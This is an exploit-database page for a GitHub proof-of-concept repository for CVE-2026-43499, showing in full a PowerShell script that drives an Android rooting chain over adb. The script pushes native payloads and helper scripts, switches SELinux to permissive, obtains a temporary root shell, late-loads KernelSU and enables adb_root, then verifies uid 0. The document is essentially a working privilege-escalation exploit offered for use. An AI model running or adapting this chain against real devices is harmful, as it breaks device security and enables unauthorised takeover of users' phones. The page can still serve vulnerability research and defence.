Exploit database

GH-0a1f40f1afdfd704b9133a515eef195c

bobikl/cve-2026-43499-t807d

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files20
bobikl/cve-2026-43499-t807dRevision 09e932ff0a1f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

run_t807_jailbreak.ps1

PowerShell · 12,938 bytes
$ErrorActionPreference = 'Stop'
$Root = Split-Path -Parent $MyInvocation.MyCommand.Definition
if ([string]::IsNullOrWhiteSpace($Root)) { throw '无法确定脚本目录' }

$Adb = Join-Path $Root 'adb\adb.exe'
$Payload = Join-Path $Root 'test-payload-current-source'
$KsuApk = Join-Path $Root 'KernelSU_v3.2.4_32457-release.apk'
$LogDir = Join-Path $Root 'logs-current-source'
New-Item -ItemType Directory -Force -Path $LogDir | Out-Null
$RunId = Get-Date -Format 'yyyyMMdd-HHmmss'
$LogFile = Join-Path $LogDir "run-$RunId.log"
$ErrorFile = Join-Path $LogDir "error-$RunId.log"
$ForceCurrentSourceTest = $true

try {
  [Console]::OutputEncoding = New-Object System.Text.UTF8Encoding($false)
  $OutputEncoding = New-Object System.Text.UTF8Encoding($false)
} catch {}

function Write-Log([string]$Level, [string]$Message) {
  $line = "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [$Level] $Message"
  Add-Content -LiteralPath $LogFile -Value $line -Encoding UTF8
  Write-Host $line
}

function Quote-ProcessArgument([string]$Value) {
  if ($null -eq $Value -or $Value.Length -eq 0) { return '""' }
  if ($Value -notmatch '[\s"]') { return $Value }
  $v = $Value -replace '(\\*)"', '$1$1\"'
  $v = $v -replace '(\\+)$', '$1$1'
  return '"' + $v + '"'
}

function Run-Adb([string]$Label, [string[]]$CommandArgs, [int]$WaitSeconds = 180, [switch]$AllowFailure) {
  $argText = (($CommandArgs | ForEach-Object { Quote-ProcessArgument $_ }) -join ' ')
  Write-Log 'RUN' ($Label + ': adb ' + $argText)
  $psi = New-Object System.Diagnostics.ProcessStartInfo
  $psi.FileName = $Adb
  $psi.Arguments = $argText
  $psi.UseShellExecute = $false
  $psi.CreateNoWindow = $true
  $psi.RedirectStandardOutput = $true
  $psi.RedirectStandardError = $true
  $proc = New-Object System.Diagnostics.Process
  $proc.StartInfo = $psi
  try {
    [void]$proc.Start()
  } catch {
    throw ('无法启动 adb:' + $Adb + ';' + $_.Exception.Message)
  }
  $started = Get-Date
  $lastNotice = -5
  while (-not $proc.HasExited) {
    $elapsed = [int]((Get-Date) - $started).TotalSeconds
    if (($elapsed - $lastNotice) -ge 5) {
      Write-Log 'WAIT' ($Label + ' 正在等待中,请勿操作... ' + $elapsed + 's')
      $lastNotice = $elapsed
    }
    if ($elapsed -ge $WaitSeconds) {
      try { $proc.Kill() } catch {}
      throw ($Label + ' 超时(' + $WaitSeconds + 's)')
    }
    Start-Sleep -Seconds 2
  }
  $stdout = $proc.StandardOutput.ReadToEnd()
  $stderr = $proc.StandardError.ReadToEnd()
  $code = $proc.ExitCode
  $text = (($stdout + [Environment]::NewLine + $stderr).Trim())
  if ($text) {
    foreach ($line in ($text -split '\r?\n')) {
      Write-Log 'OUT' ($Label + ': ' + $line)
    }
  }
  Write-Log 'EXIT' ($Label + ' exit=' + $code)
  if ($code -ne 0 -and -not $AllowFailure) {
    throw ($Label + ' 失败,exit=' + $code)
  }
  return $text
}

function Invoke-Quick([string[]]$CommandArgs) {
  try {
    return ((& $Adb @CommandArgs 2>$null | Out-String).Trim())
  } catch {
    return ''
  }
}

function Wait-Device([int]$Seconds = 90, [string]$Reason = '设备上线') {
  $started = Get-Date
  $lastNotice = -5
  while (((Get-Date) - $started).TotalSeconds -lt $Seconds) {
    $state = Invoke-Quick @('get-state')
    if ($state -eq 'device') {
      Write-Log 'OK' ($Reason + ':device')
      return $true
    }
    $elapsed = [int]((Get-Date) - $started).TotalSeconds
    if (($elapsed - $lastNotice) -ge 5) {
      Write-Log 'WAIT' ($Reason + ' 正在等待中,请勿操作... ' + $elapsed + 's')
      $lastNotice = $elapsed
    }
    Start-Sleep -Seconds 2
  }
  throw ($Reason + ' 超时(' + $Seconds + 's)')
}

function Wait-KsuPackage([int]$Seconds = 60) {
  $started = Get-Date
  $lastNotice = -5
  while (((Get-Date) - $started).TotalSeconds -lt $Seconds) {
    $path = Invoke-Quick @('shell','cmd','package','path','me.weishu.kernelsu')
    if ($path -match '^package:') {
      Write-Log 'OK' ('KernelSU Manager 已安装:' + $path)
      return $true
    }
    $elapsed = [int]((Get-Date) - $started).TotalSeconds
    if (($elapsed - $lastNotice) -ge 5) {
      Write-Log 'WAIT' ('等待 KernelSU Manager 安装完成,请勿操作... ' + $elapsed + 's')
      $lastNotice = $elapsed
    }
    Start-Sleep -Seconds 2
  }
  return $false
}

$RootFiles = @(
  [pscustomobject]@{ Local = Join-Path $Payload 't807d-popsicle-current-source-20260808.so'; Remote = '/data/local/tmp/r572-popsicle.so' },
  [pscustomobject]@{ Local = Join-Path $Payload 't807d-root-bridge-helper-current-source-20260808'; Remote = '/data/local/tmp/r572-helper-real' },
  [pscustomobject]@{ Local = Join-Path $Payload 'root-shell-r572-wrapper.sh'; Remote = '/data/local/tmp/r573-wrapper.sh' },
  [pscustomobject]@{ Local = Join-Path $Payload 'r573-current-helper-cred-no-ksu.sh'; Remote = '/data/local/tmp/r573-current-helper-cred-no-ksu.sh' },
  [pscustomobject]@{ Local = Join-Path $Payload 'root-shell-r575-safe.sh'; Remote = '/data/local/tmp/r575-selinux-rmw-safe.sh' },
  [pscustomobject]@{ Local = Join-Path $Payload 'root-shell-r575-wrapper.sh'; Remote = '/data/local/tmp/r575-selinux-rmw-wrapper.sh' }
)
$KsuFiles = @(
  [pscustomobject]@{ Local = Join-Path $Payload 'ksu-late-load-direct-20260805.sh'; Remote = '/data/local/tmp/ksu-late-load-cycle.sh' },
  [pscustomobject]@{ Local = Join-Path $Payload 'ksu-enable-adb-root-20260805.sh'; Remote = '/data/local/tmp/ksu-enable-adb-root-cycle.sh' },
  [pscustomobject]@{ Local = Join-Path $Payload 'ksu-verify-final-20260805.sh'; Remote = '/data/local/tmp/ksu-verify-final-cycle.sh' }
)

function Test-LocalFiles {
  foreach ($f in ($RootFiles + $KsuFiles)) {
    if (-not (Test-Path -LiteralPath $f.Local -PathType Leaf)) {
      throw ('缺少文件:' + $f.Local)
    }
  }
  if (-not (Test-Path -LiteralPath $Adb -PathType Leaf)) {
    throw ('缺少 adb:' + $Adb)
  }
}

function Check-Environment {
  Write-Log 'INFO' '开始环境检测'
  $state = Invoke-Quick @('get-state')
  if ($state -ne 'device') {
    throw 'ADB 设备未在线,请打开 USB 调试并确认授权'
  }
  Write-Log 'CHECK' ('ADB 调试连接:' + $state)
  $debuggable = Invoke-Quick @('shell','getprop','ro.debuggable')
  $adbSecure = Invoke-Quick @('shell','getprop','ro.adb.secure')
  $usbConfig = Invoke-Quick @('shell','getprop','sys.usb.config')
  Write-Log 'CHECK' ('ro.debuggable=' + $debuggable)
  Write-Log 'CHECK' ('ro.adb.secure=' + $adbSecure)
  Write-Log 'CHECK' ('sys.usb.config=' + $usbConfig)
  if ($debuggable -ne '1') {
    Write-Log 'INFO' '当前是普通 user 构建,ro.debuggable=0;不阻止本流程,提权后由 KernelSU 开启 adb_root'
  } else {
    Write-Log 'OK' '调试构建模式已开启'
  }

  $ksuPath = Invoke-Quick @('shell','cmd','package','path','me.weishu.kernelsu')
  if ($ksuPath -match '^package:') {
    Write-Log 'OK' ('KernelSU Manager 已安装:' + $ksuPath)
    return
  }

  if (-not (Test-Path -LiteralPath $KsuApk -PathType Leaf)) {
    throw ('未安装 KernelSU,且找不到 APK:' + $KsuApk)
  }
  Write-Log 'INFO' ('未检测到 KernelSU Manager,开始安装:' + $KsuApk)
  [void](Run-Adb '安装 KernelSU Manager' @('install','-r',$KsuApk) 240)
  if (-not (Wait-KsuPackage 90)) {
    throw 'KernelSU Manager 安装后仍未检测到包名 me.weishu.kernelsu'
  }
}

function Test-FinalSuccess {
  $id = Invoke-Quick @('shell','id')
  $ctx = Invoke-Quick @('shell','cat','/proc/self/attr/current')
  $mod = Invoke-Quick @('shell','grep','-i','kernelsu','/proc/modules')
  $adbRoot = Invoke-Quick @('shell','/data/adb/ksud','feature','get','adb_root')
  $suCompat = Invoke-Quick @('shell','/data/adb/ksud','feature','get','su_compat')
  $boot = Invoke-Quick @('shell','getprop','sys.boot_completed')
  $services = Invoke-Quick @('shell','pidof','system_server','surfaceflinger','zygote64','com.android.systemui')
  $ok = ($id -match 'uid=0\(root\)') -and
        ($ctx -match 'u:r:ksu:s0') -and
        ($mod -match 'kernelsu') -and
        ($adbRoot -match 'Value:\s*1') -and
        ($suCompat -match 'Value:\s*1') -and
        ($boot -eq '1') -and
        -not [string]::IsNullOrWhiteSpace($services)
  Write-Log 'CHECK' ('id=' + $id)
  Write-Log 'CHECK' ('context=' + $ctx)
  Write-Log 'CHECK' ('module=' + $mod)
  Write-Log 'CHECK' ('adb_root=' + $adbRoot)
  Write-Log 'CHECK' ('su_compat=' + $suCompat)
  Write-Log 'CHECK' ('boot=' + $boot + ' services=' + $services)
  return $ok
}

function Push-RootFiles([string]$Tag) {
  foreach ($f in $RootFiles) {
    [void](Run-Adb ($Tag + ' push ' + [IO.Path]::GetFileName($f.Local)) @('push',$f.Local,$f.Remote) 120)
  }
  $chmodArgs = @('shell','chmod','755') + @($RootFiles | ForEach-Object { $_.Remote })
  [void](Run-Adb ($Tag + ' chmod root') $chmodArgs 60)
  foreach ($f in $RootFiles) {
    $expected = (Get-FileHash -LiteralPath $f.Local -Algorithm SHA256).Hash.ToLowerInvariant()
    $actual = Run-Adb ($Tag + ' hash ' + [IO.Path]::GetFileName($f.Local)) @('shell','sha256sum',$f.Remote) 60
    if ($actual -notmatch $expected) {
      throw ('SHA256 不匹配:' + $f.Remote + ',expected=' + $expected + ',actual=' + $actual)
    }
  }
}

function Invoke-RootStage([string]$Tag) {
  $attempt = 1
  try {
    Write-Log 'INFO' ($Tag + ' root 阶段,第 1 次;执行期间请勿操作')
    Push-RootFiles ($Tag + '-1')
    [void](Run-Adb ($Tag + ' r575 SELinux') @('shell','/data/local/tmp/r575-selinux-rmw-safe.sh') 240 -AllowFailure)
    [void](Wait-Device 90 ($Tag + ' r575 后等待设备'))
    $enf = Invoke-Quick @('shell','getenforce')
    Write-Log 'CHECK' ($Tag + ' getenforce=' + $enf)
    if ($enf -ne 'Permissive') {
      throw ($Tag + ' r575 后不是 Permissive')
    }
    [void](Run-Adb ($Tag + ' r573 root helper') @('shell','/data/local/tmp/r573-current-helper-cred-no-ksu.sh') 180)
    [void](Wait-Device 60 ($Tag + ' r573 后等待设备'))
    $id = Invoke-Quick @('shell','/data/local/tmp/su','-c','id')
    $who = Invoke-Quick @('shell','/data/local/tmp/su','-c','whoami')
    Write-Log 'CHECK' ($Tag + ' temp-su id=' + $id + ' whoami=' + $who)
    if (($id -match 'uid=0\(root\)') -and ($who -match '(^|\s)root($|\s)')) {
      Write-Log 'OK' ($Tag + ' 临时 root 成功')
      return $true
    }
    throw ($Tag + ' 临时 root 验证失败')
  } catch {
    Write-Log 'ERROR' ($Tag + ' 第 1 次失败:' + $_.Exception.Message)
    throw
  }
  return $false
}

function Push-KsuFiles {
  foreach ($f in $KsuFiles) {
    [void](Run-Adb ('push ' + [IO.Path]::GetFileName($f.Local)) @('push',$f.Local,$f.Remote) 120)
  }
  $chmodArgs = @('shell','chmod','755') + @($KsuFiles | ForEach-Object { $_.Remote })
  [void](Run-Adb 'chmod KernelSU' $chmodArgs 60)
}

function Restore-Display {
  Write-Log 'INFO' '恢复屏幕息屏设置'
  [void](Run-Adb 'display stay_on=false' @('shell','svc','power','stayon','false') 30 -AllowFailure)
  [void](Run-Adb 'display global setting=0' @('shell','settings','put','global','stay_on_while_plugged_in','0') 30 -AllowFailure)
  [void](Run-Adb 'display sleep' @('shell','cmd','power','sleep') 30 -AllowFailure)
}

$confirm = Read-Host '输入 1 确认开始;其他输入退出'
if ($confirm -ne '1') {
  Write-Log 'INFO' '用户取消,未执行设备操作'
  exit 3
}

try {
  Write-Log 'INFO' ('脚本目录=' + $Root)
  Write-Log 'INFO' ('adb=' + $Adb)
  Test-LocalFiles
  [void](Run-Adb '启动 adb 服务' @('start-server') 30)
  [void](Wait-Device 90 '等待设备连接')
  Check-Environment
  if (Test-FinalSuccess) {
    Write-Log 'OK' '检测到设备已经处于 KernelSU root 状态,跳过重复提权'
    Restore-Display
    Write-Host ('成功。日志:' + $LogFile)
    exit 0
  }

  Invoke-RootStage 'initial'
  Push-KsuFiles
  [void](Run-Adb 'KernelSU late-load' @('shell','/data/local/tmp/su','-c','/data/local/tmp/ksu-late-load-cycle.sh') 180)
  Write-Log 'INFO' 'late-load 完成,执行一次必要的 root/SELinux 恢复'
  Invoke-RootStage 'post-late-load'

  $module = Invoke-Quick @('shell','grep','-i','kernelsu','/proc/modules')
  if ($module -notmatch 'kernelsu') {
    throw 'late-load 后未发现 kernelsu'
  }

  [void](Run-Adb 'enable adb_root and su_compat' @('shell','/data/local/tmp/su','-c','/data/local/tmp/ksu-enable-adb-root-cycle.sh') 90 -AllowFailure)
  [void](Wait-Device 90 '等待 adbd 重载')
  Start-Sleep -Seconds 3

  if (-not (Test-FinalSuccess)) {
    throw 'KernelSU 最终验证失败'
  }

  [void](Run-Adb 'detailed final verify' @('shell','/data/local/tmp/ksu-verify-final-cycle.sh') 180)
  Restore-Display
  Write-Log 'OK' '提权与 KernelSU 越狱验证成功'
  Write-Host ('成功。日志:' + $LogFile)
  exit 0
} catch {
  $message = $_.Exception.ToString()
  try {
    Write-Log 'ERROR' $message
    [IO.File]::WriteAllText($ErrorFile, $message, (New-Object Text.UTF8Encoding($true)))
  } catch {}
  Write-Host ('失败。日志:' + $LogFile)
  Write-Host ('错误日志:' + $ErrorFile)
  exit 1
}